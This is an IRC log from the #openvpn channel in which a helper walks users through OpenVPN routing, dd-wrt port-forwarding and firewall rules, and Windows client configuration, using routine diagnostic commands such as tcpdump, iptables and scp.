18:04 <+pekster> Logs with verb 4 this time
18:04 -!- p0rk [~d0dger@pa-67-235-87-119.dhcp.embarqhsd.net] has quit [Read error: Connection reset by peer]
18:04 <+pekster> All of it
18:04 < walp> aha
18:05 < walp> just had to run it as administrator
18:05 < walp> i can now ping 10.20.0.1
18:05 < walp> i guess it just didn't have permission to add the route to the virtual adapter?
18:05 <+pekster> Non-admins can't add routes on most OSes
18:05 <+pekster> (with some really technical exceptions that don't apply to you)
18:06 < walp> so, client-to-client in the server config will enable me to setup linux "client" (even though it's a server)
18:07 < walp> so that i can setup apache for instance, listening on the tunnel IP on the "client" linux server
18:07 <+pekster> No
18:07 -!- p0rk [~d0dger@pa-67-235-87-119.dhcp.embarqhsd.net] has joined #openvpn
18:07 <+pekster> !c2c
18:07 <@vpnHelper> "c2c" is "client-to-client" is with this option packets from 1 client to another are routed inside the server process. without it packets leave the server process, hit the kernel (firewall, routing table) and if allowed by firewall and routed back to server process, they go to the client. you use this option when you do not want to use selective firewall rules on what clients can access things
18:07 <@vpnHelper> behind other clients
18:08 < p0rk> pekster, it was you!
18:08 <+pekster> Generally, you never need c2c unless you're trying to avoid firewalling traffic between clients (a possible advantage if you don't want a stateful firewall keeping state on those connections)
18:08 < walp> well, okay maybe you can clarify.. what i want to do is setup apache to listen on 10.20.0.10 (for example) that only VPN clients can access
18:08 < p0rk> you were helping me with removing br0 and i tried it from work but it broke
18:08 < p0rk> im home now and finished removing it, im back to just eth0 on the correct ip, but i still cant connect
18:09 <+pekster> walp: Your best bet is to bind apache to the windcard interface (ie: 0.0.0.0:80 and 443 if you need) and firewall it. Most apps get angry if you rip out their socket from under them
18:10 <+pekster> Optionally you can bind to the VPN IP, but you need to code magic to get apache httpd to run when the VPN connects, and somehow gracefully handle tear-down. And your IP changes each time unless you do static addressing. It's non-trivial to do that
18:10 < walp> pekster: with client-config-dir ?
18:10 <+pekster> So you don't "really" want apache to listen on the VPN IP
18:10 < walp> and using static addressing per CN
18:10 <+pekster> Sure, a ccd file could get a static IP
18:11 <+pekster> You still are left with a mess to deal with binding httpd to an interface that goes down if you loose connectivity
18:11 < walp> that's fine
18:11 <+pekster> (or the VPN just needs a restart for whatever reason)
18:11 <+pekster> as in, it might actually crash httpd
18:11 <+pekster> YMMV
18:11 <+pekster> p0rk: All IP removed on br0? That bridge is gone, and you have the IP on eth0 only now?
18:11 < walp> that's fine too, i can just cron an external verification that apache is up with it listening on eth0
18:12 < p0rk> pekster, correct
18:12 < walp> if not, killall -9 openvpn httpd; sleep 3; /etc/init.d/openvpn start; sleep 5; /etc/init.d/httpd start
18:12 <+pekster> walp: Not really. It could be up on eth0 but not the VPN IP if you have different Listen directives
18:12 -!- p0rk [~d0dger@pa-67-235-87-119.dhcp.embarqhsd.net] has quit [Read error: Connection reset by peer]
18:13 <+pekster> So basically, don't bind to specific IPs like that unless you fully understand what you're doing
18:13 < walp> pekster: yeah everything about that apache is going to be manual config
18:13 -!- p0rk [~d0dger@pa-67-235-87-119.dhcp.embarqhsd.net] has joined #openvpn
18:13 <+pekster> Use a firewall for controlling access, like you should
18:13 < walp> if apache at all, might do nginx
18:13 < walp> i hate binding to wildcard
18:13 <+pekster> Okay...
18:14  * pekster shrugs. No idea how you want to handle restarting the vhost or HUPing the service when the VPN comes up, but you can script all that magic in an --up or --route-up script I suppose
18:14 <+pekster> It's a bad solution IMO, but it's there for you to play with
18:14 < walp> just call /usr/local/sbin/nginx -s reload on --up
18:14 < walp> i guess
18:15 < walp> ill figure out a way
18:16 <+pekster> p0rk: netstat -nlp | grep openvpn shows it on the port you expect?
18:16 -!- WDKevin [~WDKevin@173-163-136-177-centralpennsylvania.hfc.comcastbusiness.net] has quit [Ping timeout: 272 seconds]
18:22 < p0rk> im sorry, i had to get the stove fired up
18:23 < p0rk> it shows port 1194
18:23 < p0rk> which is correct
18:23 < p0rk> however
18:23 < p0rk> when i nmap my domain, i do not see that port
18:26 <+pekster> You may not see replies for UDP ports, depending on how evyerything is configured
18:26 <+pekster> UDP or TCP?
18:26 < p0rk> ah
18:26 < p0rk> in my router i have both set
18:26 <+pekster> No, what is ovpn running as?
18:26 < p0rk> i have dd-wrt, has a drop down for udp, tcp and both
18:26 < p0rk> oh
18:26 <+pekster> The router only needs the one you're actually using
18:26 < p0rk> udp
18:26 <+pekster> Okay. 'tcpdump -pnvi eth0 udp port 1194' on the server
18:27 < p0rk> port 1194, proto udp, dev tun0
18:27 < p0rk> ok
18:27 <+pekster> That'll watch for traffic on udp port 1194 across eth0 (change that to your LAN iface name if it's different)
18:27 < p0rk> then try to connect?
18:27 <+pekster> connect again from your client
18:27 <+pekster> Yes
18:27 < p0rk> ok
18:27 < p0rk> nadda
18:27 <+pekster> If tcpdump shows nothing, you have a firewall or routing problem (probably on your router, or upstream from that, such as your ISP)
18:27 < p0rk> the error i get is always "No connection could be made because the target machine actively refused it.."
18:28 < p0rk> i had openvpn working previously, i just got rid of the server and virtualized it
18:28 <+pekster> 'iptables-save' on the server was blank before, right? Full open with no rules and a policy of ACCEPT on INPUT?
18:28 < p0rk> i am authenticating differently, but apprently its not reaching that point nayway
18:28 < p0rk> that is correct
18:28 < p0rk> should i run it on the router?
18:28 <+pekster> No need if you can properly port forward stuff
18:28 <+pekster> Or you mean tcpdump?
18:29 < p0rk> no, i meant iptables-save
18:29 <+pekster> Sure, post that if you can get a shell and have iptables-save
18:29 < p0rk> dur
18:29 < p0rk> it doesnt have iptables-save
18:29 <+pekster> I can use iptables output too, but iptables-save is highly preferred
18:29 <+pekster> Lovely
18:29 <+pekster> Go smack the dd-wrt folks for me
18:29 < p0rk> id love to
18:29 < p0rk> i can do iptables -nL but i know you dont like that
18:29 < p0rk> although it pretty lengthy
18:29 <+pekster> Better way to do that:
18:30 <+pekster> for table in nat mangle filter; do echo "* TABLE: $table"; iptables -t $table -nvL; done
18:30 < p0rk> just c/p that entire line?
18:30 <+pekster> Sure
18:30 < p0rk> it scrolled pages of crap
18:30 < p0rk> lol
18:31 <+pekster> It's similar to (but not nearly easy to read as) iptables-save
18:31 < walp> ok, and duplicate-cn
18:31 <+pekster> It's just stupid to include iptables but not iptables-save on hosts
18:31 < p0rk> yea
18:31 < walp> i would put that in server.conf in order to have multiple machines with the same cert be able to connect
18:31 < walp> e.g. desktop and laptop
18:31 <+pekster> walp: Yup
18:31 < walp> cool
18:31 <+pekster> Ideally you use different certs for that
18:32 <+pekster> But duplicate-cn is there if you can't/won't do that
18:32 <+pekster> No real reason besides a compromise of one cert inherently breaks the other. (Oh, and ccd entries are based on CN, so you can't do static addressing without unique CNs)
18:32 < p0rk> pekster, i do see the entry for 1194 on my router in the output of you rcommand
18:32 < walp> gotcha
18:32 < p0rk> under chain forward
18:32 < p0rk>    0     0 logaccept  tcp  --  *      *       0.0.0.0/0            192.168.1.101       tcp dpt:1194
18:32 < p0rk>     0     0 logaccept  udp  --  *      *       0.0.0.0/0            192.168.1.101       udp dpt:1194
18:32 <+pekster> Post the whole thing as it could still be a firewall issue
18:33 < p0rk> ok
18:33 < p0rk> i dont have a firewall though
18:33 <+pekster> I have no idea what the 'logaccept' chain is doing, where it's called from, or how that relates to your NAT
18:33 <+pekster> netfilter *is* the firewall
18:33 < p0rk> gotcha
18:33 < p0rk> let me pastie it all
18:33 <+pekster> You can't have NAT without a firewall
18:33 <+pekster> It may be very permissive, but it is still a firewall
18:33 < walp> iptables -vnL
18:33 < p0rk> i worded it wrong
18:33 < walp> paste that to pastebin :)
18:33 <+pekster> walp: I alreaady got it covered with all 3 standard chains
18:34 <+pekster> It's critical to get nat too, which is why iptables -L sucks. dd-wrt sucks too for not including iptables-save, but I'll try to contain myself...
18:34 < p0rk> http://pastie.org/private/s3xamqar5gwbtnhp7oty8g
18:35 <+pekster> That's just filter
18:35 <+pekster> I need nat too
18:35 < p0rk> doh
18:35 < walp> -t nat
18:35 <+pekster> Might as well post mangle too, just in case the distro does silly things there
18:35 < p0rk> so what command do you want to see the entire output of?
18:35 < p0rk> that for loop?
18:35 <+pekster> walp: Check my bash loop above for a "poor man's iptables-save" version
18:35 < walp> ah ya
18:36 <+pekster> yes
18:36 < walp> for t in {nat,mangle,filter}; do iptables -vnL INPUT -t $t; done
18:36 < p0rk> i gotta figure out how to increase the buffer
18:36 < p0rk> it spits out too much
18:36 <+pekster> Dump it to a file and scp it over
18:36 < walp> or install wgetpaste and pipe it
18:36 -!- nickanderson_afk is now known as nickanderson
18:37 < p0rk> im stupid. how do i dump it to a file?
18:37 < walp> command > file.txt
18:37 < p0rk> but in that for loop, where do i do it?
18:37 < walp> at the end
18:37 <+pekster> Well, the loop can be changed like this, assuming you want it to /tmp/output.txt
18:37 < p0rk> for table in nat mangle filter; do echo "* TABLE: $table"; iptables -t $table -nvL > output.txt; done
18:37 < p0rk> ?
18:37 <+pekster> nope, not for the bash
18:37 < walp> no, after done
18:37 <+pekster> for table in nat mangle filter;iptables -t $table -nvL >> /tmp/output.txt; done
18:37 <+pekster> walp: Not helpful
18:38 -!- eN_Joy [~eN_Joy@jindan.chem.ou.edu] has quit [Ping timeout: 264 seconds]
18:38 < p0rk> you 2 are contradicting yourselves so much
18:38 < p0rk> lol
18:38 <+pekster> p0rk: Follow my instructions, since they'll actually work
18:38 < p0rk> i am
18:38 < p0rk> but yours throws an error about word unexpected
18:38 < p0rk> expecting do
18:38 <+pekster> Oh, ugh, editng crap in irssi not convenient
18:38 <+pekster> for table in nat mangle filter;do iptables -t $table -nvL >> /tmp/output.txt; done
18:38 < walp> pekster: story of my life lol
18:39 < p0rk> ok
18:39 <+pekster> Then scp over /tmp/output.txt and drop that somewhere
18:39 < p0rk> how do i use scp? :-X
18:39 < walp> oboy
18:39 < p0rk> yea
18:39 < p0rk> im embarassed
18:39 <+pekster> scp root@router_ip:/tmp/output.txt ./
18:39 <+pekster> Assuming the root user and a default ssh port
18:40 < p0rk> port 2222
18:40 <+pekster> scp -P 2222 root@router_ip:/tmp/output.txt ./
18:40 < p0rk> oh i run that from a server other than the router?
18:40 <+pekster> Anything that has 'scp' avaibale. putty's pscp.exe works too
18:40 < walp> yeah, you're pulling that from your machine
18:41 < walp> if you're root on the machine with the firewall, you could also email it to yourself
18:41 <+pekster> Optionally, just upload 'iptables -t nat -nvL' somewhere, since I already have filter
18:41 < p0rk> ok, i got it
18:41 < p0rk> http://pastie.org/private/dzddbyllrqzyhnp0bsphq
18:41 < p0rk> im digging scp, thanks for that tip
18:42 <+pekster> Holy crap those are ugly rules
18:42 < p0rk> ill forget my anniversary and replace it with scp in the memory bank
18:42 <+pekster> You really need all those random high UDP ports forwarded?
18:42 < p0rk> those are dd-wrt rules
18:42 < p0rk> *shrug*
18:42 < p0rk> i dont know where they came from
18:42 < p0rk> in my dd-wrt interface i only have 8 forwards setup
18:43 <+pekster> You're sending udp/1194 traffic to a public IP
18:43 <+pekster> That's probably not what you wanted
18:43 < p0rk> i dont know how that is happening
18:43 <+pekster> And also why your server never gets them on a rfc1918 LAN
18:43 < p0rk> im about to wipe this router and reinstall dd-wrt
18:43 <+pekster> Yea, your rules look really hosed
18:43 < p0rk> is there like a factory reset for dd-wrt?
18:43 < p0rk> to get back to bone stock?
18:44 <+pekster> Unless you're able to fix your router yourself, yea
18:44 <+pekster> That DNAT target matches the IP you've connected here with, so that makes no sense at all
18:44 < p0rk> or maybe just reset the iptables?
18:44 <+pekster> Sure. I don't use dd-wrt, so I'm not sure how you clean-house on that OS
18:45 < p0rk> hmm
18:45 <+pekster> Oh, hold on a sec
18:45 < p0rk> ok
18:45  * walp waits for ping timeout
18:45 < p0rk> from me?
18:45 < p0rk> i noticed ive been dropping randomly
18:45 <+pekster> I'm mis-reading that (used to iptables-save, not -L)
18:45 < p0rk> ah
18:45 <+pekster> So, the nat entry appears okay actually, but it's not getting hit
18:46 <+pekster> (you still have a mess of other high random ports, but you can leave that in if you'd like, I guess)
18:46 <+pekster> So that router isn't even seeing inbound packets from your client
18:46 < p0rk> what the shit
18:46 <+pekster> Either the client isn't actually send it to your IP, or your ISP drops it
18:46 < p0rk> my other port forwards work though
18:46 < p0rk> for ssh, web, etc
18:46 <+pekster> Right. tcp/5222 is getting hit
18:46 <+pekster> See the hit counter is >0
18:46 < p0rk> my jabber server works
18:46 <+pekster> But not for the 1194 port
18:46 <+pekster> Right
18:46 < p0rk> http://www.dd-wrt.com/wiki/index.php/Hard_reset_or_30/30/30
18:47 <@vpnHelper> Title: Hard reset or 30/30/30 - DD-WRT Wiki (at www.dd-wrt.com)
18:47 < p0rk> im bout to try that hard reset
18:48 <+pekster> It won't hurt to get your rules to have less crap in them, but it probably won't fix the VPN packets getting lost
18:48 < p0rk> or maybe that second one
18:48 <+pekster> Your rules are a mess, but do appear to allow udp/1194 to be sent to 192.168.1.101
18:48 <+pekster> They just aren't arriving
18:48 < p0rk> but it doesnt look like it actually is
18:48 < p0rk> right
18:48 < walp> never heard of an ISP denying inbound VPN
18:48 < p0rk> its not my isp
18:49 <+pekster> Differnet IP
18:49 < p0rk> ive had it working before
18:49 <+pekster> The IP in your client config doesn't match the dst IP of those rules (which is also your IRC src IP)
18:49 <+pekster> DHCP residential customer I'm guessing?
18:49 <+pekster> Try a dynamic DNS service
18:49 < p0rk> yes
18:49 < p0rk> i have dynamic dns
18:49 < p0rk> i use afraid.org
18:49 <+pekster> http://pastie.org/pastes/6083496/text?key=fasfjxaz39bvzyshrnzp7q doens't use it
18:49 < walp> ^ gives you the highest of fives
18:49 <+pekster> You're connecting to some other random IP
18:50 < p0rk> pekster, thats not my config
18:50 < walp> that's mine
18:50 <+pekster> Oh, whopsie :\
18:50 <+pekster> so, is your client using that IP, or a DNS name that resolves to it?
18:50 < p0rk> want me to pastie mine?
18:51 < p0rk> my client is using a domain
18:51 < p0rk> that resolves correctly
18:51 < p0rk> same domain i use for web and ssh
18:51 < p0rk> http://pastie.org/private/x8bisl6lbvephop7h6qtw
18:51 < p0rk> thats my config
18:51 < p0rk> i got from fys
18:51 < p0rk> earlier today
18:52 <+pekster> client resolves the IP listed in those iptables rules?
18:52 <+pekster> Correct?
18:52 < p0rk> client resolves the ip im connected here with
18:52 < p0rk> my domain is n0sha.me
18:53 < walp> lol
18:53 <+pekster> Then another firewall between your router and client is blocking it
18:53 < p0rk> you can pull it up in a browser and it goes to an apache instance on the same server as the vpn
18:53 <+pekster> Could be the client, or it could be someone's ISP
18:53 <+pekster> And yea, that DNS entry resolves properly
18:53 < p0rk> i really think this is a bitched up router problem
18:53 < p0rk> ive tried from work, my dads house and my house
18:53 < p0rk> same problem everywhere
18:53 < walp> p0rk: try this from the client nc -u -v n0sha.me 1194
18:53 <+pekster> Could be that too. As I said, the actual ruleset *looks* okay, but it's messy as all gettup
18:54 < walp> n0sha.me [67.235.87.119] 1194 (openvpn) open
18:55 < p0rk> walp, ?
18:55 < walp> i can connect from my server to your vpn via udp packet to 1194
18:56 <+pekster> Or at least "something" on that IP. if the dnat hitcounter isn't going up it's not actually that host
18:56 < p0rk> the hell?
18:56 -!- midgaze [~mreid@155.229.21.75] has joined #openvpn
18:56 < walp> i can't authenticate obviously
18:56 <+pekster> p0rk: If you do 'iptables -t nat -nvL PREROUTING' do you see a hitcount >0 on the udp 1194 rule?
18:56 < p0rk> yea
18:56 < p0rk> that wasnt to you
18:56 < p0rk> lety me check
18:56 < p0rk> wheres the hitcount?
18:57 < walp> pkts
18:57 <+pekster> I'm also registering the port as (likely) opened, compared to active refusals on other ports: http://fpaste.org/CyoQ/
18:57 < p0rk> 0's
18:57 <+pekster> Funny
18:57 <+pekster> So "something else" is eating the packets
18:58 < p0rk> wait
18:58 < p0rk> i have 2 different lines for that port
18:58 < p0rk> the bottom one is 0's
18:58 < p0rk> but up further is another one where UDP is 7
18:58 < walp> paste those linse
18:59 < p0rk>  7   197 DNAT       udp  --  *      *       0.0.0.0/0            67.235.87.119       udp dpt:1194 to:192.168.1.101:1194
18:59 <+pekster> Okay, so that's probably from our connect attempts
18:59 <+pekster> So we can "get through" to your port
18:59 <+pekster> Assuming we stop trying now, you should see that go up when the client connects
18:59 <+pekster> If it doesn't, your client is never making it to your IP
18:59 <+pekster> The good news is that your tcpdump rule on that server will show such inbound traffic
19:00 <+pekster> (no need to use the hitcounters as a "poor man's tcpdump"
19:00 < walp> lolz
19:00 <+pekster> walp: I'm very good at abusing resources when the proper tools don't exist...
19:00 < walp> you'd have to be really poor i guess, tcpdump is free lol
19:00 <+pekster> targetless rules in the raw chain are quite helpful
19:00 <+pekster> Not free if you don't have a package for it (or space to install it on a router)
19:00 <+pekster> bytes are expensive sometimes
19:01 < walp> yeah tru
19:01 <+pekster> raw table, that is
19:02 <+pekster> p0rk: So, watch that tcpdump output (or the hitcounters on the router if you'd prefer) and if nothing happens when the client connects, it's getting rejected before it even comes to you. Could be a client firewall stopping it, or any router between you and them
19:02 <+pekster> tcpdump the output interface of the client (wireshark if it's Windows) and that'll tell you if it's even leaving the client
19:03 < p0rk> back, sorry, kid needed attention
19:03 < walp> also, if you can, run `tcpdump -vv -nn dst port 1194` on the endpoint behind your router on the 192 IP
19:03 <+pekster> Best to use -p always when dumping
19:03 <+pekster> (unless you actually want PROMISC mode, it's best not to enable it on an interface that lacks it)
19:03 < p0rk> so i shoudl try to connect and that 7 should go to 8?
19:04 < p0rk> its still 7
19:04 <+pekster> p0rk: Right. Or use the tcpdump rule on the server such as: tcpdump -pnvi eth0 udp port 1194
19:04 < p0rk> let me get my dad to try quick from his house
19:04 <+pekster> So, check your client as I said above
19:04 <+pekster> Are you doing this from inside your own network?
19:04 < p0rk> yea
19:04 < p0rk> im gonna have my dad try from outside
19:04 <+pekster> Should've asked that a while back. You can't do that
19:04  * walp goes to find butter knife
19:04 < p0rk> i was able to connect from within my network the last time
19:04 < p0rk> and i tried all day at work as well
19:05 <+pekster> Not with your current ruleset you can't
19:05 <+pekster> asymettric routing
19:05 < p0rk> ok
19:05 < p0rk> im having my old man give it  awhirl
19:05 <+pekster> Use your internal LAN IP if you want to "test" it, but you can't really do it like that and assume it work from outside
19:06 < p0rk> ok, my dad just tried and its still 7
19:07 < p0rk> ok, my dad just tried and its still 7
19:07 < p0rk> doh
19:08 < p0rk> is it worth changing the port to something else and trying?
19:09 <+pekster> One sec; I'm gunna try hitting your service with a bogus config on my end
19:09 < p0rk> ok
19:09 <+pekster> It won't accept your cert, but it'll show I can hit it fine
19:09 <+pekster> (that'll confirm it's an issue on your client end. I can nmap your port, so can walp, so it's obviously open
19:09 -!- StoneCypherAtWor [~StoneCyph@c-69-181-69-19.hsd1.ca.comcast.net] has joined #openvpn
19:09 < p0rk> ok
19:09 < StoneCypherAtWor> So I think I might be missing something about openvpn
19:10 < StoneCypherAtWor> I'm having that problem where I need everything to run elevated, except, if I run openvpn.exe directly as administrator, it doesn't know where the .ovpn config is, and if I run from the .ovpn file to start OpenVPN, it doesn't run as administrator
19:10 < StoneCypherAtWor> I ran OpenVPN-GUI as admin, but it seems to be a background process, and I'm not seeing an actual GUI
19:11 -!- nickanderson is now known as nickanderson_afk
19:11 < p0rk> pekster, that 7 is now a 15
19:11 <+pekster> THat was me
19:12 < p0rk> what the hell?
19:12 < StoneCypherAtWor> oh wait, i can just do it from a batch file and elevate the batch file, can't i
19:12 <+pekster> I can connect fine, and then of course my client rejects your server's cert (it doesn't match the fake CA I used) and cycles
19:12 < p0rk> am i using an old client maybe?
19:12 <+pekster> Your client's data isn't even getting to your serfer
19:12 <+pekster> It's not even a problem about version at this point
19:12 <+pekster> Firewall
19:12 <+pekster> It's a firewall *somewhere*
19:12 < p0rk> but how are you able to do it?
19:13 < p0rk> but i cant from every location i try?
19:13 < p0rk> should i try a different port?
19:14 <+pekster> No clue. Sure, if you'd like
19:14 <+pekster> The problem is between the client and your router (but not your router itself)
19:14 < p0rk> when i change ports, do i just connect via domain:port in the openvpn client then?
19:14 <+pekster> My config looks like this, and I can reach your system just fine: http://fpaste.org/Mgqo/
19:14 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
19:14 <+pekster> Obviously that's not valid (my ca.crt doesn't match your actual CA) but I am connecting to your server with that
19:15 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
19:15 < p0rk> ok wait
19:15 <+pekster> If you keep logs you'll see some hits for a failed login with a "bogus" user
19:15 <+pekster> (that was me)
19:15 < p0rk> where does your client config come from?
19:15 < p0rk> thats probably the friggin problem
19:15 <+pekster> huh? It comes from my text editor ;)
19:15 < p0rk> i thought i only needed a server cert to connect
19:16 <+pekster> StoneCypherAtWor: OpenVPN GUI sits in your system tray when started
19:16 < p0rk> my clients are all windows clients
19:17 < p0rk> so i need a config file dropped into program files/openvpn/config?
19:17 < p0rk> along with ca.crt?
19:17 <+pekster> StoneCypherAtWor: If you want the UI frontend for Windows, start the GUI with elevated priveleages. It reads configs out of <install_path>\config\
19:17 <+pekster> Actually that applies to you too then p0rk
19:17 <+pekster> Yes
19:17 < p0rk> that is 100% the problem
19:17 <+pekster> Technically you can call openvpn.exe manually and point it at a config file, but the GUI thing expects the config files to live in the path I just noted
19:17 < p0rk> none of the machines itried from have client configs
19:17 < p0rk> just the ca.crt
19:18 <+pekster> Then how the heck do you expect them to connect?
19:18 < p0rk> *sigh*
19:18 < p0rk> i dont know
19:18 <+pekster> !sample
19:18 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
19:18 <+pekster> !howto
19:18 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
19:18 < p0rk> i feel like the biggest dumbass
19:18 <+pekster> You need to follow those more carefully
19:20 <+pekster> Don't just copy my config since it won't match your setup
19:20 < p0rk> i know
19:20 < p0rk> im trying tio find how to make one
19:20 <+pekster> k, just in case, I figured I'd warn you about that
19:20 < StoneCypherAtWor> per: oh, so it does
19:21 < StoneCypherAtWor> and it crashes when i try to connect.
19:21 < StoneCypherAtWor> hurrah.
19:21 < StoneCypherAtWor> is openvpn-gui known to work in win8?
19:22 <+pekster> Yup. You on 2.3.0?
19:23 < StoneCypherAtWor> uh.  about box doesn't say.  re: gui or re: openvpn?
19:23 <+pekster> OpenVPN
19:23 <+pekster> Your installed programs control thingy should know
19:23 <+pekster> or openvpn.exe --version
19:24 < StoneCypherAtWor> yes
19:24 < StoneCypherAtWor> 64 bit mingw32 build
19:24 <+pekster> I ran both 32 and 64-bit versions in the win8 developer preview fine, and people hare have used it on RTM, so it doesn't crash across the board
19:24 < StoneCypherAtWor> k.
19:24 <+pekster> Not to say there isn't something else wrong on your end. Is it consistent? If so, try uninstall and reinstalling (it'll save your config files when you do that)
19:25 <+pekster> Failing that, try the 32-bit version I guess...
19:25 < StoneCypherAtWor> well, i'll have to reboot; after the crash it doesn't seem to want to tlak again
19:25 < p0rk> pekster, since im using client-cert-not-required and username-as-common-name do i still need the declarations in the client config for anything other than ca.crt?
19:25 < StoneCypherAtWor> bbiab
19:25 -!- StoneCypherAtWor [~StoneCyph@c-69-181-69-19.hsd1.ca.comcast.net] has quit []
19:25 <+pekster> StoneCypherAtWor: Oh, maybe just the GUI crahsed
19:25 <+pekster> p0rk: No need for cert or key, no
19:25 < p0rk> ok
19:26 < p0rk> can you look at my client config for me?
19:26 <+pekster> p0rk: See my config for a sample reference. You don't want any of the cipher/auth/keysize/tran-window crap. Or the cd line. You DO want MITM protection:
19:26 <+pekster> !mitm
19:26 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: ns-cert-type server in the client config
19:26 <+pekster> Sure, paste it and I'll have a look
19:26 < p0rk> http://pastie.org/private/9rfmk2wwpfcipy7goby6a
19:27 <+pekster> You need at minimum 'pull' in there to. Optionally, use 'client' which implies pull and tls-client
19:27 < p0rk> just replace tls-client with client?
19:27 <+pekster> Sure
19:27 <+pekster> (it's a helper directive. See --client in the manpage)
19:28 < p0rk> otherwise everything is ok?
19:28 <+pekster> Minus your lack of MITM protection, yes. I guess since you don't issue client certs you can't really care about that
19:29 <+pekster> (if you ever did issue a client cert, that would be a potential security issue. See the bot output above for why)
19:29 < p0rk> ok
19:29 < p0rk> hm
19:29 < p0rk> still nothing
19:29 < p0rk> im having my dad do it
19:29 <+pekster> !forget mitm 3
19:29 <@vpnHelper> Error: You don't have the factoids.forget capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
19:30 <+pekster> p0rk: You probably need to use a full path to ca.crt
19:30 <+pekster> Unless it's in whatever dir the GUI chdir's to
19:30 -!- StoneCypherAtWor [~StoneCyph@c-69-181-69-19.hsd1.ca.comcast.net] has joined #openvpn
19:30 < StoneCypherAtWor> so
19:30 <+pekster> Usually ca "C:\\some\\where\\ca.crt"
19:30 < StoneCypherAtWor> yes, openvpn-gui crashes regularly, but it establishes the connection successfully before it goes
19:30 < StoneCypherAtWor> which, i guess, is good enough
19:31 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
19:31 <+pekster> StoneCypherAtWor: Yea, I suspected that moments after you left to reboot. Sort of weird. Maybe you can try an uninstall/reinstaill (it'll save your config files) or try the 32-bit version of that fails?
19:31 < p0rk> something still isnt right
19:31 <+pekster> Once in a blue moon my GUI will crash like you said (openvpn.exe lives on) but it's very rare for me. Not at all consistent or reproducable
19:31 < p0rk> im not seeing the hitcount go up when my dad does it like it did for you
19:32 <+pekster> p0rk: Did you actually send the ca.crt and verify the path to it was correct?
19:32 < StoneCypherAtWor> pekster: i will, but not today - i have to get something done very rapidly
19:32 < p0rk> yes
19:32 < p0rk> he has client.conf and ca.crt in his config directory of his client
19:33 <+pekster> Client logs at verb 4 are the next step. If the client won't connect it'll say why (or a timeout will occur after 60 seconds of trying)
19:33 < p0rk> it just gives the same old error it always has
19:33 < p0rk> woah
19:33 < p0rk> wait
19:34 < p0rk> Unable to obtain Session ID from n0sha.me:443: XML-RPC: ConnectionRefusedError: 10061: No connection could be made because the target machine actively refused it..
19:34 < p0rk> that says port 443
19:34 <+pekster> Wrong config then
19:34 < p0rk> how the hell?
19:35 <+pekster> The GUI doesn't like to pick up changes to >1 configs unless you restart it
19:35 <+pekster> You're clearly using the wrong config file, which also explains why it failed to connect before
19:36 < p0rk> what other config would it use?
19:36 < p0rk> i dont have another one
19:36 <+pekster> StoneCypherAtWor: Fair enough. If you ask taskmanager to kill the openvpn.exe process, I *think* it asks nicely before killing it more hastely, so it should even shut down clean for you when you're done
19:36 <+pekster> p0rk: It's apparently using another config bound for 443
19:36 -!- p0rk [~d0dger@pa-67-235-87-119.dhcp.embarqhsd.net] has quit [Read error: Connection reset by peer]
19:37 -!- p0rk [~d0dger@pa-67-235-87-119.dhcp.embarqhsd.net] has joined #openvpn
19:37 < p0rk> ok, now the hit counter is going up
19:38 < p0rk> but im getting the same error
19:38 < p0rk> but the port is right
19:38 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:40 <+pekster> If the hitcount goes up it shouldn't be rejecting you based on "actively refused" anymore
19:40 < p0rk> finally got it
19:41 < p0rk> the directions on the website are wrong
19:41 < p0rk> its not client.conf
19:41 -!- WDKevin [~WDKevin@173-163-136-177-centralpennsylvania.hfc.comcastbusiness.net] has joined #openvpn
19:41 <+pekster> That's for Linux/Unix
19:41 <+pekster> howto guide is 100% correct
19:41 <+pekster> If you followed a different guide, perhaps it's wrong
19:42 <+pekster> reference: http://openvpn.net/index.php/open-source/documentation/howto.html#config
19:42 <@vpnHelper> Title: HOWTO (at openvpn.net)
19:42 < p0rk> yea i must have
19:42 <+pekster> "Note that on Linux, BSD, or unix-like OSes, the sample configuration files are named server.conf and client.conf. On Windows they are named server.ovpn and client.ovpn."
19:43  * p0rk slits wrist
19:44 <+pekster> Just follow the guides more carefully next time. In most cases it's rarely that someone discovered a new bug (although sometimes that happens too. Just rarely.)
19:45 < p0rk> thank you soooo much pekster
19:46 < p0rk> i appreciate you help and patience
19:46 -!- raidz is now known as raidz_away
19:53 < p0rk> so my dad is connected in, but he cant access any machines on my lan
19:53 < p0rk> is that because it put him on a 10.0. ip and everything is on 192.168?
19:54 -!- StoneCypherAtWor [~StoneCyph@c-69-181-69-19.hsd1.ca.comcast.net] has quit []
20:08 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit []
20:13 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
20:15 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
20:17 <+pekster> p0rk:
20:17 <+pekster> !serverlan
20:17 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
20:18 -!- mode/#openvpn [-v pekster] by ChanServ
20:31 < p0rk> ok
20:31 < p0rk> i enabled ip forwarding
20:32 < p0rk> and i changed my push line to read:
20:32 < p0rk> push "route 192.168.1.0 255.255.255.0"
20:32 < p0rk> my servers are all on 192.168.1.* addresses on my local lan
20:32 < p0rk> so that should do it, right?
20:42 -!- jforman [~jforman@unaffiliated/jforman] has joined #openvpn
